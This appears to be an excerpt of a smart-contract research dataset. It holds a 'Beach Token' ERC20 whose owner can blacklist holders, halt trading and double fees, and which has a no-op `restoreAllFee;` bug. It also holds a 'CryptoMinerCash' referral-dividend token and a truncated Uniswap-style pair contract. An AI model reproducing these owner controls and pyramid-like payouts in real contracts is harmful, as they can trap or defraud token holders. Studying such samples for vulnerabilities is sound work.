| 19,004 |
.sol
|
Solidity
| false |
593908510
|
SKKU-SecLab/SmartMark
|
fdf0675d2f959715d6f822351544c6bc91a5bdd4
|
dataset/Solidity_codes_9324/0xbd15c4c8cd28a08e43846e3155c01a1f648d8d42.sol
| 5,181 | 18,792 |
pragma solidity >=0.7.0 <0.8.0;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor() {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
function transferOwnership(address newOwner) public onlyOwner {
require(newOwner != address(0));
OwnershipTransferred(_owner, newOwner);
_previousOwner = _owner ;
_owner = newOwner;
}
function previousOwner() public view returns (address) {
return _previousOwner;
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB) external returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline) external;
function swapExactETHForTokensSupportingFeeOnTransferTokens(uint amountOutMin,
address[] calldata path,
address to,
uint deadline) external payable;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(address token,
uint256 amountTokenDesired,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline) external payable returns (uint256 amountToken, uint256 amountETH, uint256 liquidity);
}
contract ERC20_Beach is Context, IERC20, Ownable {
using SafeMath for uint256;
IUniswapV2Router02 private uniswapV2Router;
address public uniswapV2Pair;
string private constant _name = "Beach Token";
string private constant _symbol = "BEACH";
uint8 private constant _decimals = 9;
uint256 private constant MAX = ~uint256(0);
uint256 private _tTotal = 100000000000000000 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 public _tFeeTotal;
uint256 public _BeachTokenBurned;
bool public _cooldownEnabled = true;
bool public tradeAllowed = false;
bool private liquidityAdded = false;
bool private inSwap = false;
bool public swapEnabled = false;
bool public feeEnabled = false;
bool private limitTX = false;
bool public doubleFeeEnable = false;
uint256 private _maxTxAmount = _tTotal;
uint256 private _reflection = 3;
uint256 private _contractFee = 10;
uint256 private _BeachTokenBurn = 2;
uint256 private _maxBuyAmount;
uint256 private buyLimitEnd;
address payable private _development;
address payable private _boost;
address public targetToken = 0x6B175474E89094C44Da98b954EedeAC495271d0F;
address public boostFund = 0xa638F4Bb8202049eb4A6782511c3b8A64A2F90a1;
mapping(address => uint256) private _rOwned;
mapping(address => uint256) private _tOwned;
mapping(address => mapping(address => uint256)) private _allowances;
mapping (address => User) private cooldown;
mapping(address => bool) private _isExcludedFromFee;
mapping(address => bool) private _isBlacklisted;
struct User {
uint256 buy;
uint256 sell;
bool exists;
}
event CooldownEnabledUpdated(bool _cooldown);
event MaxBuyAmountUpdated(uint _maxBuyAmount);
event MaxTxAmountUpdated(uint256 _maxTxAmount);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor(address payable addr1, address payable addr2, address addr3) {
_development = addr1;
_boost = addr2;
_rOwned[_msgSender()] = _rTotal;
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[_development] = true;
_isExcludedFromFee[_boost] = true;
_isExcludedFromFee[addr3] = true;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public view override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return tokenFromReflection(_rOwned[account]);
}
function setTargetAddress(address target_adr) external onlyOwner {
targetToken = target_adr;
}
function setExcludedFromFee(address _address,bool _bool) external onlyOwner {
address addr3 = _address;
_isExcludedFromFee[addr3] = _bool;
}
function setAddressIsBlackListed(address _address, bool _bool) external onlyOwner {
_isBlacklisted[_address] = _bool;
}
function viewIsBlackListed(address _address) public view returns(bool) {
return _isBlacklisted[_address];
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender,_msgSender(),_allowances[sender][_msgSender()].sub(amount,"ERC20: transfer amount exceeds allowance"));
return true;
}
function setFeeEnabled(bool enable) external onlyOwner {
feeEnabled = enable;
}
function setdoubleFeeEnabled(bool enable) external onlyOwner {
doubleFeeEnable = enable;
}
function setLimitTx(bool enable) external onlyOwner {
limitTX = enable;
}
function enableTrading(bool enable) external onlyOwner {
require(liquidityAdded);
tradeAllowed = enable;
buyLimitEnd = block.timestamp + (900 seconds);
}
function addLiquidity() external onlyOwner() {
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
uniswapV2Router = _uniswapV2Router;
_approve(address(this), address(uniswapV2Router), _tTotal);
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH());
uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp);
swapEnabled = true;
liquidityAdded = true;
feeEnabled = true;
limitTX = true;
_maxTxAmount = 1000000000000000 * 10**9;
_maxBuyAmount = 300000000000000 * 10**9;
IERC20(uniswapV2Pair).approve(address(uniswapV2Router),type(uint256).max);
}
function manualSwapTokensForEth() external onlyOwner() {
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualDistributeETH() external onlyOwner() {
uint256 contractETHBalance = address(this).balance;
distributeETH(contractETHBalance);
}
function manualSwapEthForTargetToken(uint amount) external onlyOwner() {
swapETHfortargetToken(amount);
}
function setMaxTxPercent(uint256 maxTxPercent) external onlyOwner() {
require(maxTxPercent > 0, "Amount must be greater than 0");
_maxTxAmount = _tTotal.mul(maxTxPercent).div(10**2);
emit MaxTxAmountUpdated(_maxTxAmount);
}
function setCooldownEnabled(bool onoff) external onlyOwner() {
_cooldownEnabled = onoff;
emit CooldownEnabledUpdated(_cooldownEnabled);
}
function timeToBuy(address buyer) public view returns (uint) {
return block.timestamp - cooldown[buyer].buy;
}
function timeToSell(address buyer) public view returns (uint) {
return block.timestamp - cooldown[buyer].sell;
}
function amountInPool() public view returns (uint) {
return balanceOf(uniswapV2Pair);
}
function tokenFromReflection(uint256 rAmount) private view returns (uint256) {
require(rAmount <= _rTotal,"Amount must be less than total reflections");
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(address from, address to, uint256 amount) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
if (from != owner() && to != owner() && !_isExcludedFromFee[from] && !_isExcludedFromFee[to]) {
require(tradeAllowed);
require(!_isBlacklisted[from] && !_isBlacklisted[to]);
if(_cooldownEnabled) {
if(!cooldown[msg.sender].exists) {
cooldown[msg.sender] = User(0,0,true);
}
}
if (from == uniswapV2Pair && to != address(uniswapV2Router)) {
if (limitTX) {
require(amount <= _maxTxAmount);
}
if(_cooldownEnabled) {
if(buyLimitEnd > block.timestamp) {
require(amount <= _maxBuyAmount);
require(cooldown[to].buy < block.timestamp, "Your buy cooldown has not expired.");
cooldown[to].buy = block.timestamp + (120 seconds);
}
cooldown[to].sell = block.timestamp + (300 seconds);
}
uint contractETHBalance = address(this).balance;
if (contractETHBalance > 0) {
swapETHfortargetToken(address(this).balance);
}
}
if(to == address(uniswapV2Pair) || to == address(uniswapV2Router)) {
if (doubleFeeEnable) {
_reflection = 6;
_contractFee = 20;
_BeachTokenBurn = 4;
}
if(_cooldownEnabled) {
require(cooldown[from].sell < block.timestamp, "Your sell cooldown has not expired.");
}
uint contractTokenBalance = balanceOf(address(this));
if (!inSwap && from != uniswapV2Pair && swapEnabled) {
if (limitTX) {
require(amount <= balanceOf(uniswapV2Pair).mul(3).div(100) && amount <= _maxTxAmount);
}
uint initialETHBalance = address(this).balance;
swapTokensForEth(contractTokenBalance);
uint newETHBalance = address(this).balance;
uint ethToDistribute = newETHBalance.sub(initialETHBalance);
if (ethToDistribute > 0) {
distributeETH(ethToDistribute);
}
}
}
}
bool takeFee = true;
if (_isExcludedFromFee[from] || _isExcludedFromFee[to] || !feeEnabled) {
takeFee = false;
}
_tokenTransfer(from, to, amount, takeFee);
restoreAllFee;
}
function removeAllFee() private {
if (_reflection == 0 && _contractFee == 0 && _BeachTokenBurn == 0) return;
_reflection = 0;
_contractFee = 0;
_BeachTokenBurn = 0;
}
function restoreAllFee() private {
_reflection = 3;
_contractFee = 10;
_BeachTokenBurn = 2;
}
function _tokenTransfer(address sender, address recipient, uint256 amount, bool takeFee) private {
if (!takeFee) removeAllFee();
_transferStandard(sender, recipient, amount);
if (!takeFee) restoreAllFee();
}
function _transferStandard(address sender, address recipient, uint256 amount) private {
(uint256 tAmount, uint256 tBurn) = _BeachTokenEthBurn(amount);
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount, tBurn);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function _BeachTokenEthBurn(uint amount) private returns (uint, uint) {
uint orgAmount = amount;
uint256 currentRate = _getRate();
uint256 tBurn = amount.mul(_BeachTokenBurn).div(100);
uint256 rBurn = tBurn.mul(currentRate);
_tTotal = _tTotal.sub(tBurn);
_rTotal = _rTotal.sub(rBurn);
_BeachTokenBurned = _BeachTokenBurned.add(tBurn);
return (orgAmount, tBurn);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
function _getValues(uint256 tAmount, uint256 tBurn) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) {
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _reflection, _contractFee, tBurn);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(uint256 tAmount, uint256 taxFee, uint256 teamFee, uint256 tBurn) private pure returns (uint256, uint256, uint256) {
uint256 tFee = tAmount.mul(taxFee).div(100);
uint256 tTeam = tAmount.mul(teamFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam).sub(tBurn);
return (tTransferAmount, tFee, tTeam);
}
function _getRValues(uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256, uint256) {
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns (uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns (uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(tokenAmount, 0, path, address(this), block.timestamp);
}
function swapETHfortargetToken(uint ethAmount) private {
address[] memory path = new address[](2);
path[0] = uniswapV2Router.WETH();
path[1] = address(targetToken);
_approve(address(this), address(uniswapV2Router), ethAmount);
uniswapV2Router.swapExactETHForTokensSupportingFeeOnTransferTokens{value: ethAmount}(ethAmount,path,address(boostFund),block.timestamp);
}
function distributeETH(uint256 amount) private {
_development.transfer(amount.div(10));
_boost.transfer(amount.div(2));
}
receive() external payable {}
}
| 276,812 | 11,146 |
04211d1fa744e008388678e64c60fe81c54c49868809c9b6d47e99fea16a7b49
| 12,646 |
.sol
|
Solidity
| false |
416581097
|
NoamaSamreen93/SmartScan-Dataset
|
0199a090283626c8f2a5e96786e89fc850bdeabd
|
evaluation-dataset/0xa0c61b638232e4fc2d491bf84ef18a80eb69734d.sol
| 3,277 | 11,873 |
pragma solidity ^0.4.25;
contract CryptoMinerCash {
modifier onlyBagholders {
require(myTokens() > 0);
_;
}
modifier onlyStronghands {
require(myDividends(true) > 0);
_;
}
event onTokenPurchase(address indexed customerAddress,
uint256 incomingEthereum,
uint256 tokensMinted,
address indexed referredBy,
uint timestamp,
uint256 price);
event onTokenSell(address indexed customerAddress,
uint256 tokensBurned,
uint256 ethereumEarned,
uint timestamp,
uint256 price);
event onReinvestment(address indexed customerAddress,
uint256 ethereumReinvested,
uint256 tokensMinted);
event onWithdraw(address indexed customerAddress,
uint256 ethereumWithdrawn);
event Transfer(address indexed from,
address indexed to,
uint256 tokens);
string public name = "Crypto Miner Cash";
string public symbol = "CMC";
uint8 constant public decimals = 18;
uint8 constant internal entryFee_ = 10;
uint8 constant internal transferFee_ = 1;
uint8 constant internal exitFee_ = 3;
uint8 constant internal refferalFee_ = 33;
uint256 constant internal tokenPriceInitial_ = 0.0000001 ether;
uint256 constant internal tokenPriceIncremental_ = 0.00000001 ether;
uint256 constant internal magnitude = 2 ** 64;
uint256 public stakingRequirement = 50e18;
mapping(address => uint256) internal tokenBalanceLedger_;
mapping(address => uint256) internal referralBalance_;
mapping(address => int256) internal payoutsTo_;
uint256 internal tokenSupply_;
uint256 internal profitPerShare_;
function buy(address _referredBy) public payable returns (uint256) {
purchaseTokens(msg.value, _referredBy);
}
function() payable public {
purchaseTokens(msg.value, 0x0);
}
function reinvest() onlyStronghands public {
uint256 _dividends = myDividends(false);
address _customerAddress = msg.sender;
payoutsTo_[_customerAddress] += (int256) (_dividends * magnitude);
_dividends += referralBalance_[_customerAddress];
referralBalance_[_customerAddress] = 0;
uint256 _tokens = purchaseTokens(_dividends, 0x0);
emit onReinvestment(_customerAddress, _dividends, _tokens);
}
function exit() public {
address _customerAddress = msg.sender;
uint256 _tokens = tokenBalanceLedger_[_customerAddress];
if (_tokens > 0) sell(_tokens);
withdraw();
}
function withdraw() onlyStronghands public {
address _customerAddress = msg.sender;
uint256 _dividends = myDividends(false);
payoutsTo_[_customerAddress] += (int256) (_dividends * magnitude);
_dividends += referralBalance_[_customerAddress];
referralBalance_[_customerAddress] = 0;
_customerAddress.transfer(_dividends);
emit onWithdraw(_customerAddress, _dividends);
}
function sell(uint256 _amountOfTokens) onlyBagholders public {
address _customerAddress = msg.sender;
require(_amountOfTokens <= tokenBalanceLedger_[_customerAddress]);
uint256 _tokens = _amountOfTokens;
uint256 _ethereum = tokensToEthereum_(_tokens);
uint256 _dividends = SafeMath.div(SafeMath.mul(_ethereum, exitFee_), 100);
uint256 _taxedEthereum = SafeMath.sub(_ethereum, _dividends);
tokenSupply_ = SafeMath.sub(tokenSupply_, _tokens);
tokenBalanceLedger_[_customerAddress] = SafeMath.sub(tokenBalanceLedger_[_customerAddress], _tokens);
int256 _updatedPayouts = (int256) (profitPerShare_ * _tokens + (_taxedEthereum * magnitude));
payoutsTo_[_customerAddress] -= _updatedPayouts;
if (tokenSupply_ > 0) {
profitPerShare_ = SafeMath.add(profitPerShare_, (_dividends * magnitude) / tokenSupply_);
}
emit onTokenSell(_customerAddress, _tokens, _taxedEthereum, now, buyPrice());
}
function transfer(address _toAddress, uint256 _amountOfTokens) onlyBagholders public returns (bool) {
address _customerAddress = msg.sender;
require(_amountOfTokens <= tokenBalanceLedger_[_customerAddress]);
if (myDividends(true) > 0) {
withdraw();
}
uint256 _tokenFee = SafeMath.div(SafeMath.mul(_amountOfTokens, transferFee_), 100);
uint256 _taxedTokens = SafeMath.sub(_amountOfTokens, _tokenFee);
uint256 _dividends = tokensToEthereum_(_tokenFee);
tokenSupply_ = SafeMath.sub(tokenSupply_, _tokenFee);
tokenBalanceLedger_[_customerAddress] = SafeMath.sub(tokenBalanceLedger_[_customerAddress], _amountOfTokens);
tokenBalanceLedger_[_toAddress] = SafeMath.add(tokenBalanceLedger_[_toAddress], _taxedTokens);
payoutsTo_[_customerAddress] -= (int256) (profitPerShare_ * _amountOfTokens);
payoutsTo_[_toAddress] += (int256) (profitPerShare_ * _taxedTokens);
profitPerShare_ = SafeMath.add(profitPerShare_, (_dividends * magnitude) / tokenSupply_);
emit Transfer(_customerAddress, _toAddress, _taxedTokens);
return true;
}
function totalEthereumBalance() public view returns (uint256) {
return this.balance;
}
function totalSupply() public view returns (uint256) {
return tokenSupply_;
}
function myTokens() public view returns (uint256) {
address _customerAddress = msg.sender;
return balanceOf(_customerAddress);
}
function myDividends(bool _includeReferralBonus) public view returns (uint256) {
address _customerAddress = msg.sender;
return _includeReferralBonus ? dividendsOf(_customerAddress) + referralBalance_[_customerAddress] : dividendsOf(_customerAddress) ;
}
function balanceOf(address _customerAddress) public view returns (uint256) {
return tokenBalanceLedger_[_customerAddress];
}
function dividendsOf(address _customerAddress) public view returns (uint256) {
return (uint256) ((int256) (profitPerShare_ * tokenBalanceLedger_[_customerAddress]) - payoutsTo_[_customerAddress]) / magnitude;
}
function sellPrice() public view returns (uint256) {
// our calculation relies on the token supply, so we need supply. Doh.
if (tokenSupply_ == 0) {
return tokenPriceInitial_ - tokenPriceIncremental_;
} else {
uint256 _ethereum = tokensToEthereum_(1e18);
uint256 _dividends = SafeMath.div(SafeMath.mul(_ethereum, exitFee_), 100);
uint256 _taxedEthereum = SafeMath.sub(_ethereum, _dividends);
return _taxedEthereum;
}
}
function buyPrice() public view returns (uint256) {
if (tokenSupply_ == 0) {
return tokenPriceInitial_ + tokenPriceIncremental_;
} else {
uint256 _ethereum = tokensToEthereum_(1e18);
uint256 _dividends = SafeMath.div(SafeMath.mul(_ethereum, entryFee_), 100);
uint256 _taxedEthereum = SafeMath.add(_ethereum, _dividends);
return _taxedEthereum;
}
}
function calculateTokensReceived(uint256 _ethereumToSpend) public view returns (uint256) {
uint256 _dividends = SafeMath.div(SafeMath.mul(_ethereumToSpend, entryFee_), 100);
uint256 _taxedEthereum = SafeMath.sub(_ethereumToSpend, _dividends);
uint256 _amountOfTokens = ethereumToTokens_(_taxedEthereum);
return _amountOfTokens;
}
function calculateEthereumReceived(uint256 _tokensToSell) public view returns (uint256) {
require(_tokensToSell <= tokenSupply_);
uint256 _ethereum = tokensToEthereum_(_tokensToSell);
uint256 _dividends = SafeMath.div(SafeMath.mul(_ethereum, exitFee_), 100);
uint256 _taxedEthereum = SafeMath.sub(_ethereum, _dividends);
return _taxedEthereum;
}
function purchaseTokens(uint256 _incomingEthereum, address _referredBy) internal returns (uint256) {
address _customerAddress = msg.sender;
uint256 _undividedDividends = SafeMath.div(SafeMath.mul(_incomingEthereum, entryFee_), 100);
uint256 _referralBonus = SafeMath.div(SafeMath.mul(_undividedDividends, refferalFee_), 100);
uint256 _dividends = SafeMath.sub(_undividedDividends, _referralBonus);
uint256 _taxedEthereum = SafeMath.sub(_incomingEthereum, _undividedDividends);
uint256 _amountOfTokens = ethereumToTokens_(_taxedEthereum);
uint256 _fee = _dividends * magnitude;
require(_amountOfTokens > 0 && SafeMath.add(_amountOfTokens, tokenSupply_) > tokenSupply_);
if (_referredBy != 0x0000000000000000000000000000000000000000 &&
_referredBy != _customerAddress &&
tokenBalanceLedger_[_referredBy] >= stakingRequirement) {
referralBalance_[_referredBy] = SafeMath.add(referralBalance_[_referredBy], _referralBonus);
} else {
_dividends = SafeMath.add(_dividends, _referralBonus);
_fee = _dividends * magnitude;
}
if (tokenSupply_ > 0) {
tokenSupply_ = SafeMath.add(tokenSupply_, _amountOfTokens);
profitPerShare_ += (_dividends * magnitude / tokenSupply_);
_fee = _fee - (_fee - (_amountOfTokens * (_dividends * magnitude / tokenSupply_)));
} else {
tokenSupply_ = _amountOfTokens;
}
tokenBalanceLedger_[_customerAddress] = SafeMath.add(tokenBalanceLedger_[_customerAddress], _amountOfTokens);
int256 _updatedPayouts = (int256) (profitPerShare_ * _amountOfTokens - _fee);
payoutsTo_[_customerAddress] += _updatedPayouts;
emit onTokenPurchase(_customerAddress, _incomingEthereum, _amountOfTokens, _referredBy, now, buyPrice());
return _amountOfTokens;
}
function ethereumToTokens_(uint256 _ethereum) internal view returns (uint256) {
uint256 _tokenPriceInitial = tokenPriceInitial_ * 1e18;
uint256 _tokensReceived =
((SafeMath.sub((sqrt
((_tokenPriceInitial ** 2)
+
(2 * (tokenPriceIncremental_ * 1e18) * (_ethereum * 1e18))
+
((tokenPriceIncremental_ ** 2) * (tokenSupply_ ** 2))
+
(2 * tokenPriceIncremental_ * _tokenPriceInitial*tokenSupply_))), _tokenPriceInitial)) / (tokenPriceIncremental_)) - (tokenSupply_);
return _tokensReceived;
}
function tokensToEthereum_(uint256 _tokens) internal view returns (uint256) {
uint256 tokens_ = (_tokens + 1e18);
uint256 _tokenSupply = (tokenSupply_ + 1e18);
uint256 _etherReceived =
(SafeMath.sub((((tokenPriceInitial_ + (tokenPriceIncremental_ * (_tokenSupply / 1e18))) - tokenPriceIncremental_) * (tokens_ - 1e18)), (tokenPriceIncremental_ * ((tokens_ ** 2 - tokens_) / 1e18)) / 2)
/ 1e18);
return _etherReceived;
}
function sqrt(uint256 x) internal pure returns (uint256 y) {
uint256 z = (x + 1) / 2;
y = x;
while (z < y) {
y = z;
z = (x / z + z) / 2;
}
}
}
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a / b;
return c;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
}
| 191,318 | 11,147 |
318b3510cbc7f12a8ee3bb22cb5598a94b3b633335b9ffb1316e98b7556cae17
| 14,949 |
.sol
|
Solidity
| false |
453466497
|
tintinweb/smart-contract-sanctuary-tron
|
44b9f519dbeb8c3346807180c57db5337cf8779b
|
contracts/mainnet/TH/TH7CfjAfb2WxLSSGX4w5iziCj42qK8S36Y_CreatedByContract.sol
| 4,272 | 14,347 |
//SourceUnit: uswap.sol
pragma solidity 0.5.12;
interface ITRC20 {
event Approval(address indexed owner, address indexed spender, uint256 value);
event Transfer(address indexed from, address indexed to, uint256 value);
function approve(address spender, uint256 value) external returns(bool);
function transfer(address to, uint256 value) external returns(bool);
function transferFrom(address from, address to, uint256 value) external returns(bool);
function name() external view returns(string memory);
function symbol() external view returns(string memory);
function decimals() external view returns(uint8);
function totalSupply() external view returns(uint256);
function balanceOf(address owner) external view returns(uint256);
function allowance(address owner, address spender) external view returns(uint256);
}
interface IFactory {
event PairCreated(address indexed token0, address indexed token1, address pair, uint256 index);
function createPair(address tokenA, address tokenB) external returns(address pair);
function setFeeTo(address) external;
function setFeeToSetter(address) external;
function feeTo() external view returns(address);
function feeToSetter() external view returns(address);
function pairs(address tokenA, address tokenB) external view returns(address pair);
function getPair(address tokenA, address tokenB) external view returns(address pair);
function allPairs(uint256) external view returns(address pair);
function allPairsLength() external view returns(uint256);
}
interface IPair {
event Mint(address indexed sender, uint256 amount0, uint256 amount1);
event Burn(address indexed sender, uint256 amount0, uint256 amount1, address indexed to);
event Swap(address indexed sender, uint256 amount0In, uint256 amount1In, uint256 amount0Out, uint256 amount1Out, address indexed to);
event Sync(uint112 reserve0, uint112 reserve1);
function mint(address to) external returns(uint256 liquidity);
function burn(address to) external returns(uint256 amount0, uint256 amount1);
function swap(uint256 amount0Out, uint256 amount1Out, address to, bytes calldata data) external;
function skim(address to) external;
function sync() external;
function initialize(address, address) external;
function MINIMUM_LIQUIDITY() external pure returns(uint256);
function factory() external view returns(address);
function token0() external view returns(address);
function token1() external view returns(address);
function getReserves() external view returns(uint112 reserve0, uint112 reserve1, uint32 blockTimestampLast);
function price0CumulativeLast() external view returns(uint256);
function price1CumulativeLast() external view returns(uint256);
function kLast() external view returns(uint256);
}
interface ICallee {
function call(address sender, uint256 amount0, uint256 amount1, bytes calldata data) external;
}
library SafeMath {
function add(uint256 x, uint256 y) internal pure returns(uint256 z) {
require((z = x + y) >= x, 'ds-math-add-overflow');
}
function sub(uint256 x, uint256 y) internal pure returns(uint256 z) {
require((z = x - y) <= x, 'ds-math-sub-underflow');
}
function mul(uint256 x, uint256 y) internal pure returns(uint256 z) {
require(y == 0 || (z = x * y) / y == x, 'ds-math-mul-overflow');
}
}
library Math {
function min(uint256 x, uint256 y) internal pure returns(uint256 z) {
z = x < y ? x : y;
}
function sqrt(uint256 y) internal pure returns(uint256 z) {
if (y > 3) {
z = y;
uint256 x = y / 2 + 1;
while (x < z) {
z = x;
x = (y / x + x) / 2;
}
} else if (y != 0) {
z = 1;
}
}
}
library UQ112x112 {
uint224 constant Q112 = 2**112;
function encode(uint112 y) internal pure returns(uint224 z) {
z = uint224(y) * Q112;
}
function uqdiv(uint224 x, uint112 y) internal pure returns(uint224 z) {
z = x / uint224(y);
}
}
contract TRC20 is ITRC20 {
using SafeMath for uint256;
string public constant name = 'USwap';
string public constant symbol = 'USP';
uint8 public constant decimals = 18;
uint256 public totalSupply;
mapping(address => uint256) public balanceOf;
mapping(address => mapping(address => uint256)) public allowance;
function _mint(address to, uint256 value) internal {
totalSupply = totalSupply.add(value);
balanceOf[to] = balanceOf[to].add(value);
emit Transfer(address(0), to, value);
}
function _burn(address from, uint256 value) internal {
balanceOf[from] = balanceOf[from].sub(value);
totalSupply = totalSupply.sub(value);
emit Transfer(from, address(0), value);
}
function _approve(address owner, address spender, uint256 value) private {
allowance[owner][spender] = value;
emit Approval(owner, spender, value);
}
function _transfer(address from, address to, uint256 value) private {
balanceOf[from] = balanceOf[from].sub(value);
balanceOf[to] = balanceOf[to].add(value);
emit Transfer(from, to, value);
}
function approve(address spender, uint256 value) external returns(bool) {
_approve(msg.sender, spender, value);
return true;
}
function transfer(address to, uint256 value) external returns(bool) {
_transfer(msg.sender, to, value);
return true;
}
function transferFrom(address from, address to, uint256 value) external returns(bool) {
if(allowance[from][msg.sender] != uint256(-1)) {
allowance[from][msg.sender] = allowance[from][msg.sender].sub(value);
}
_transfer(from, to, value);
return true;
}
}
contract Pair is TRC20, IPair {
using SafeMath for uint256;
using UQ112x112 for uint224;
uint256 public constant MINIMUM_LIQUIDITY = 1000;
uint112 private reserve0;
uint112 private reserve1;
uint32 private blockTimestampLast;
uint256 private unlocked = 1;
address public factory;
address public token0;
address public token1;
uint256 public price0CumulativeLast;
uint256 public price1CumulativeLast;
uint256 public kLast;
modifier lock() {
require(unlocked == 1, 'Lock: LOCKED');
unlocked = 0;
_;
unlocked = 1;
}
constructor() public {
factory = msg.sender;
}
function _safeTransfer(address token, address to, uint256 value) private {
(bool success, bytes memory data) = token.call(abi.encodeWithSelector(0xa9059cbb, to, value));
require(success && (token == 0xa614f803B6FD780986A42c78Ec9c7f77e6DeD13C || data.length == 0 || abi.decode(data, (bool))), 'Pair: TRANSFER_FAILED');
}
function _update(uint256 balance0, uint256 balance1, uint112 _reserve0, uint112 _reserve1) private {
require(balance0 <= uint112(-1) && balance1 <= uint112(-1), 'Pair: OVERFLOW');
